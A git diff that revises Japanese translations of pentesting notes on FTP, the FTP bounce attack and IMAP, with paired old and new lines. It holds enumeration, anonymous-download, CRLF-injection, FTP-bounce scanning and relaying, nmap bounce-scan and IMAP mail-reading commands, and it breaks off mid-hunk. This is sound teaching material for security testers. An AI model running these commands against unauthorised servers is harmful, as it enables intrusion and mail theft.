ソース: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
|
||||
|
||||
|
@ -46,7 +46,7 @@ PORT STATE SERVICE
|
|||
|
||||
## 列挙
|
||||
|
||||
### バナーラボ取得
|
||||
### バナー取得
|
||||
```bash
|
||||
nc -vn <IP> 21
|
||||
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
|
||||
|
@ -67,7 +67,7 @@ lftp 10.10.10.208:~> login username Password
|
|||
```bash
|
||||
sudo nmap -sV -p21 -sC -A 10.10.10.10
|
||||
```
|
||||
以下のコマンドを使用して、FTPサーバーの情報を取得できます:`HELP`および`FEAT`
|
||||
次のコマンドを使用してFTPサーバーの情報を取得できます:`HELP`および`FEAT`
|
||||
```
|
||||
HELP
|
||||
214-The following commands are recognized (* =>'s unimplemented):
|
||||
|
@ -133,14 +133,14 @@ FTPサーバーには、Firefoxなどのブラウザを使用して次のよう
|
|||
```bash
|
||||
ftp://anonymous:anonymous@10.10.10.98
|
||||
```
|
||||
注意してください、**webアプリケーション**がユーザーによって制御されたデータを**直接FTPサーバーに送信**している場合、ダブルURLエンコード`%0d%0a`(ダブルURLエンコードでは`%250d%250a`)バイトを送信して**FTPサーバーに任意のアクションを実行**させることができます。これらの可能な任意のアクションの1つは、ユーザーが制御するサーバーからコンテンツをダウンロードしたり、ポートスキャンを実行したり、他のプレーンテキストベースのサービス(例:http)と通信しようとすることです。
|
||||
注意してください。もし**webアプリケーション**がユーザーによって制御されたデータを**直接FTPサーバーに送信**している場合、ダブルURLエンコード`%0d%0a`(ダブルURLエンコードでは`%250d%250a`となります)バイトを送信し、**FTPサーバーに任意のアクションを実行させる**ことができます。この可能な任意のアクションの1つは、ユーザーが制御するサーバーからコンテンツをダウンロードしたり、ポートスキャンを実行したり、他のプレーンテキストベースのサービス(例:http)と通信を試みることです。
|
||||
|
||||
## FTPからすべてのファイルをダウンロード
|
||||
```bash
|
||||
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
|
||||
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
|
||||
```
|
||||
ユーザー名/パスワードに特殊文字が含まれている場合、[次のコマンド](https://stackoverflow.com/a/113900/13647948) を使用できます:
|
||||
特殊文字を含むユーザー/パスワードを使用している場合、[次のコマンド](https://stackoverflow.com/a/113900/13647948) を使用できます:
|
||||
```bash
|
||||
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
```
|
||||
|
@ -148,52 +148,52 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
|||
|
||||
- **`USER ユーザー名`**
|
||||
- **`PASS パスワード`**
|
||||
- **`HELP`** サーバーはサポートされているコマンドを示します
|
||||
- \*\*`PORT 127,0,0,1,0,80`\*\*これにより、FTPサーバーがIP 127.0.0.1のポート80に接続を確立するよう指示されます(5番目の文字を "0" とし、6番目を10進数でポートを表すか、ポートを16進数で表すために5番目と6番目を使用します)。
|
||||
- \*\*`EPRT |2|127.0.0.1|80|`\*\*これにより、FTPサーバーがIP 127.0.0.1のポート80にTCP接続("2"で示される)を確立するよう指示されます。このコマンドは**IPv6をサポート**しています。
|
||||
- **`LIST`** これにより、現在のフォルダ内のファイルのリストが送信されます
|
||||
- **`HELP`** サーバーはサポートされているコマンドを示す
|
||||
- \*\*`PORT 127,0,0,1,0,80`\*\*これによりFTPサーバーがIP 127.0.0.1のポート80に接続を確立するよう指示されます(第5文字を "0" とし、第6文字を10進数でポートを表すか、第5文字と第6文字を使用して16進数でポートを表す)。
|
||||
- \*\*`EPRT |2|127.0.0.1|80|`\*\*これによりFTPサーバーがIP 127.0.0.1のポート80にTCP接続("2"で示される)を確立するよう指示されます。このコマンドは**IPv6をサポート**しています。
|
||||
- **`LIST`** これにより現在のフォルダ内のファイルリストが送信されます
|
||||
- **`LIST -R`** 再帰的にリストします(サーバーが許可する場合)
|
||||
- **`APPE /path/something.txt`** これにより、FTPが**パッシブ**接続または**PORT/EPRT**接続から受信したデータをファイルに保存するように指示されます。ファイル名が存在する場合、データが追加されます。
|
||||
- **`APPE /path/something.txt`** これによりFTPが**パッシブ**接続または**PORT/EPRT**接続から受信したデータをファイルに保存するよう指示されます。ファイル名が存在する場合、データが追加されます。
|
||||
- **`STOR /path/something.txt`** `APPE`と同様ですが、ファイルを上書きします
|
||||
- **`STOU /path/something.txt`** `APPE`と同様ですが、存在する場合は何もしません。
|
||||
- **`RETR /path/to/file`** パッシブまたはポート接続を確立する必要があります。その後、FTPサーバーはその接続を介して指定されたファイルを送信します
|
||||
- **`REST 6`** これにより、次回`RETR`を使用して何かを送信する際に、サーバーに6番目のバイトから開始するように指示されます。
|
||||
- **`TYPE i`** 転送をバイナリに設定します
|
||||
- **`PASV`** これにより、パッシブ接続が開かれ、ユーザーが接続できる場所が示されます
|
||||
- **`PASV`** これによりパッシブ接続が開かれ、ユーザーが接続できる場所が示されます
|
||||
- **`PUT /tmp/file.txt`** 指定されたファイルをFTPにアップロードします
|
||||
|
||||
![](<../../.gitbook/assets/image (227).png>)
|
||||
|
||||
## FTPBounce攻撃
|
||||
|
||||
一部のFTPサーバーは`PORT`コマンドを許可しています。このコマンドを使用して、FTPサーバーにホストのどのポートが開いているかをスキャンすることができます。
|
||||
一部のFTPサーバーは`PORT`コマンドを許可します。このコマンドを使用して、FTPサーバーにホストのどのポートが開いているかをスキャンすることができます。
|
||||
|
||||
[**ここでFTPサーバーを悪用してポートをスキャンする方法を学んでください。**](ftp-bounce-attack.md)
|
||||
[**ここでFTPサーバーを悪用してポートをスキャンする方法を学びます。**](ftp-bounce-attack.md)
|
||||
|
||||
また、この動作を悪用してFTPサーバーを他のプロトコルとやり取りさせることもできます。**HTTPリクエストを含むファイルをアップロード**し、脆弱なFTPサーバーにそれを**任意のHTTPサーバーに送信させる**(_おそらく新しい管理者ユーザーを追加するために?_)か、FTPリクエストをアップロードし、脆弱なFTPサーバーに異なるFTPサーバーからファイルをダウンロードさせることができます。\
|
||||
理論は簡単です:
|
||||
また、この動作を悪用してFTPサーバーを他のプロトコルとやり取りさせることもできます。HTTPリクエストを含むファイルをアップロードし、脆弱なFTPサーバーにそれを任意のHTTPサーバーに送信させるか(_新しい管理者ユーザーを追加するかもしれません?_)、FTPリクエストをアップロードし、脆弱なFTPサーバーに異なるFTPサーバーからファイルをダウンロードさせることができます。\
|
||||
理論は簡単です:
|
||||
|
||||
1. **(テキストファイル内に)リクエストを脆弱なサーバーにアップロードします。** 別のHTTPまたはFTPサーバーと通信する場合は、`0x0d 0x0a`で行を変更する必要があります
|
||||
2. **送信したくない文字を送信しないようにするために`REST X`を使用します**(おそらくリクエストをファイル内にアップロードするために、最初にいくつかの画像ヘッダーを配置する必要があるかもしれません)
|
||||
3. **任意のサーバーとサービスに接続するために`PORT`を使用します**
|
||||
4. **保存されたリクエストをサーバーに送信するために`RETR`を使用します**
|
||||
|
||||
これはおそらく**_Socket not writable_**のようなエラーを発生させる可能性が高いです**_`RETR`でデータを送信するのに十分な接続がないため**。それを回避しようとする提案は次のとおりです:
|
||||
これはおそらく**「Socket not writable」のようなエラーを発生**させる可能性が高いです。**`RETR`でデータを送信するのに十分な接続がない**ためです。これを回避するための提案は次のとおりです:
|
||||
|
||||
- HTTPリクエストを送信している場合は、**少なくとも\~0.5MBまで同じリクエストを繰り返します**。次のように:
|
||||
- HTTPリクエストを送信している場合は、**少なくとも\~0.5MBまで同じリクエストを繰り返します**。次のように:
|
||||
|
||||
{% file src="../../.gitbook/assets/posts (1).txt" %}
|
||||
posts.txt
|
||||
{% endfile %}
|
||||
|
||||
- プロトコルに関連する「ジャンク」データでリクエストを埋めることを試みます(FTPに話しかける場合、ジャンクコマンドを使用するか、ファイルを取得するために`RETR`命令を繰り返します)
|
||||
- リクエストを多くのヌル文字やその他の文字で埋めます(行ごとに分割されているかどうか)
|
||||
- プロトコルに関連する「ジャンク」データでリクエストを埋めてみてください(FTPに話しかける場合は、ジャンクコマンドを使用するか、ファイルを取得するために`RETR`命令を繰り返します)
|
||||
- リクエストを多くのヌル文字や他の文字で埋めてみてください(行ごとに分割されているかどうか)
|
||||
|
||||
とにかく、ここには[FTPサーバーが異なるFTPサーバーからファイルをダウンロードするようにするためにこれを悪用する方法に関する古い例があります。](ftp-bounce-download-2oftp-file.md)
|
||||
とにかく、ここには[FTPサーバーが異なるFTPサーバーからファイルをダウンロードするようにするためにこれを悪用する方法についての古い例があります。](ftp-bounce-download-2oftp-file.md)
|
||||
|
||||
## Filezillaサーバーの脆弱性
|
||||
|
||||
**FileZilla**は通常、**FileZilla-Server**(ポート14147)のための**ローカル**の**管理サービス**に**バインド**されます。あなたのマシンからこのポートにアクセスするための**トンネル**を作成できれば、**空のパスワード**を使用して**それに接続**し、FTPサービスのために**新しいユーザー**を**作成**することができます。
|
||||
**FileZilla**は通常、**FileZilla-Server**(ポート14147)の**管理サービス**を**ローカル**に**バインド**します。**あなたのマシン**からこのポートにアクセスするための**トンネル**を作成できれば、**空のパスワード**で**接続**し、FTPサービスのために**新しいユーザー**を**作成**できます。
|
||||
|
||||
## 設定ファイル
|
||||
```
|
||||
|
@ -204,7 +204,7 @@ vsftpd.conf
|
|||
```
|
||||
### ポストエクスプロイテーション
|
||||
|
||||
vsFTPdのデフォルト構成は `/etc/vsftpd.conf` にあります。ここにはいくつかの危険な設定が見つかります:
|
||||
vsFTPdのデフォルト構成は `/etc/vsftpd.conf` にあります。ここでは、いくつかの危険な設定が見つかります:
|
||||
|
||||
- `anonymous_enable=YES`
|
||||
- `anon_upload_enable=YES`
|
||||
|
@ -225,7 +225,7 @@ vsFTPdのデフォルト構成は `/etc/vsftpd.conf` にあります。ここに
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -285,12 +285,12 @@ Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP};
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、または**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングトリックを共有するために、PRを** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,20 +1,20 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong>!</summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>を通じて、ゼロからヒーローまでAWSハッキングを学ぶ</strong>!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。
|
||||
- **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**する。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。
|
||||
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -25,12 +25,12 @@ HackTricksをサポートする他の方法:
|
|||
## マニュアル
|
||||
|
||||
1. 脆弱なFTPに接続します
|
||||
2. _\<IP:Port>_ と接続を確立するために**`PORT`**または**`EPRT`**(どちらか1つのみ)を使用します:
|
||||
2. **`PORT`**または**`EPRT`**(どちらか1つのみ)を使用して、スキャンしたい _\<IP:Port>_ と接続を確立します:
|
||||
|
||||
`PORT 172,32,80,80,0,8080`\
|
||||
`EPRT |2|172.32.80.80|8080|`
|
||||
3. **`LIST`**を使用します(これにより、FTPフォルダ内の現在のファイルのリストが接続された_IP:Port_に送信されます)。可能な応答を確認します:`150 File status okay`(これはポートが開いていることを意味します)または`425 No connection established`(これはポートが閉じていることを意味します)
|
||||
4. `LIST`の代わりに**`RETR /file/in/ftp`**を使用して、類似の`Open/Close`応答を探します。
|
||||
3. **`LIST`**を使用します(これにより、FTPフォルダ内の現在のファイルリストが接続された _\<IP:Port>_ に送信されます)。可能な応答を確認します:`150 File status okay`(これはポートが開いていることを意味します)または`425 No connection established`(これはポートが閉じていることを意味します)
|
||||
4. `LIST`の代わりに**`RETR /file/in/ftp`**を使用し、類似の`Open/Close`応答を探します。
|
||||
|
||||
**PORT**を使用した例(172.32.80.80のポート8080が開いており、ポート7777が閉じています):
|
||||
|
||||
|
@ -40,7 +40,7 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
![](<../../.gitbook/assets/image (226).png>)
|
||||
|
||||
`LIST`の代わりに`EPRT`を使用して開いているポート(異なる環境):
|
||||
`LIST`の代わりに`EPRT`を使用して開いたポート(異なる環境):
|
||||
|
||||
![](<../../.gitbook/assets/image (228).png>)
|
||||
|
||||
|
@ -52,21 +52,21 @@ nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the interna
|
|||
```
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)を使用して、ゼロからヒーローまでAWSハッキングを学ぶ</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**する
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,34 +2,34 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
- **💬 [Discordグループに参加](https://discord.gg/hRep4RUj7f)**または[telegramグループに参加](https://t.me/peass)または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
- **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。**
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## インターネットメッセージアクセスプロトコル
|
||||
## Internet Message Access Protocol
|
||||
|
||||
**インターネットメッセージアクセスプロトコル(IMAP)**は、ユーザーが**どこからでも電子メールメッセージにアクセス**できるように設計されています。基本的に、電子メールは**サーバーに保持**され、個人のデバイスにダウンロードおよび保存されるのではなく、アクセスまたは読み取り時には**サーバーから直接**行われます。この機能により、**複数のデバイス**から電子メールを確認でき、使用するデバイスに関係なくメッセージが見逃されないようになります。
|
||||
**Internet Message Access Protocol (IMAP)** は、ユーザーが**インターネット接続を介して**メールメッセージに**どこからでもアクセス**できるように設計されています。基本的に、メールは**サーバーに保持**され、個人のデバイスにダウンロードおよび保存されることはありません。つまり、メールにアクセスまたは読み取りが行われると、それは**直接サーバーから**行われます。この機能により、**複数のデバイス**からメールを確認できる便利さが提供され、使用するデバイスに関係なくメッセージが見逃されることはありません。
|
||||
|
||||
デフォルトでは、IMAPプロトコルは2つのポートで動作します:
|
||||
|
||||
- **ポート143** - これはデフォルトのIMAP非暗号化ポートです
|
||||
- **ポート993** - これはIMAPを安全に使用する場合に使用する必要があるポートです
|
||||
* **ポート143** - これはデフォルトのIMAP非暗号化ポートです
|
||||
* **ポート993** - これはIMAPを安全に使用して接続する場合に使用するポートです
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
143/tcp open imap syn-ack
|
||||
|
@ -50,13 +50,13 @@ root@kali: telnet example.com 143
|
|||
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
|
||||
+ TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
|
||||
```
|
||||
または、**nmap**プラグイン`imap-ntlm-info.nse`を使用してこれを**自動化**します。
|
||||
または、**nmap** プラグイン `imap-ntlm-info.nse` を使用してこれを**自動化**します。
|
||||
|
||||
### [IMAPブルートフォース](../generic-methodologies-and-resources/brute-force.md#imap)
|
||||
### [IMAP ブルートフォース](../generic-methodologies-and-resources/brute-force.md#imap)
|
||||
|
||||
## 構文
|
||||
|
||||
[こちら](https://donsutherland.org/crib/imap)からのIMAPコマンドの例:
|
||||
[こちら](https://donsutherland.org/crib/imap) からの IMAP コマンドの例:
|
||||
```
|
||||
Login
|
||||
A1 LOGIN username password
|
||||
|
@ -111,13 +111,13 @@ apt install evolution
|
|||
|
||||
### CURL
|
||||
|
||||
[CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap)を使用すると基本的なナビゲーションが可能ですが、ドキュメントには詳細が少ないため、正確な詳細を確認するには[ソース](https://github.com/curl/curl/blob/master/lib/imap.c)をチェックすることをお勧めします。
|
||||
[CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap)を使用すると基本的なナビゲーションが可能ですが、ドキュメントには詳細が少ないため、正確な詳細については[ソース](https://github.com/curl/curl/blob/master/lib/imap.c)を確認することをお勧めします。
|
||||
|
||||
1. メールボックスのリスト表示(imapコマンド `LIST "" "*"`)
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/' --user user:pass
|
||||
```
|
||||
2. メールボックス内のメッセージをリストアップする(imapコマンド `SELECT INBOX` 、そして `SEARCH ALL` を使用)
|
||||
2. メールボックス内のメッセージをリストアップする(imapコマンド `SELECT INBOX` そして `SEARCH ALL`)
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
|
||||
```
|
||||
|
@ -135,16 +135,16 @@ curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
|
|||
```
|
||||
メールのインデックスは、検索操作から返されたインデックスと同じになります。
|
||||
|
||||
また、`UID`(ユニークID)を使用してメッセージにアクセスすることも可能ですが、検索コマンドを手動でフォーマットする必要があるため、便利ではありません。例:
|
||||
`UID`(ユニークID)を使用してメッセージにアクセスすることも可能ですが、検索コマンドを手動でフォーマットする必要があるため、それほど便利ではありません。例:
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
|
||||
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
|
||||
```
|
||||
また、メッセージの一部だけをダウンロードすることも可能です。たとえば、最初の5つのメッセージの件名と送信者をダウンロードすることができます(`-v`を使用して件名と送信者を表示する必要があります):
|
||||
また、メッセージの一部だけをダウンロードすることも可能です。たとえば、最初の5つのメッセージの件名と送信者をダウンロードすることができます(件名と送信者を表示するには`-v`が必要です):
|
||||
```bash
|
||||
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
|
||||
```
|
||||
たぶん、単純に少しforループを書く方がクリーンでしょう:
|
||||
たぶん、単純にforループを書く方がクリーンでしょう:
|
||||
```bash
|
||||
for m in {1..5}; do
|
||||
echo $m
|
||||
|
@ -158,7 +158,7 @@ done
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -196,12 +196,12 @@ Command: msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS {
|
|||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。**
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
|
||||
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
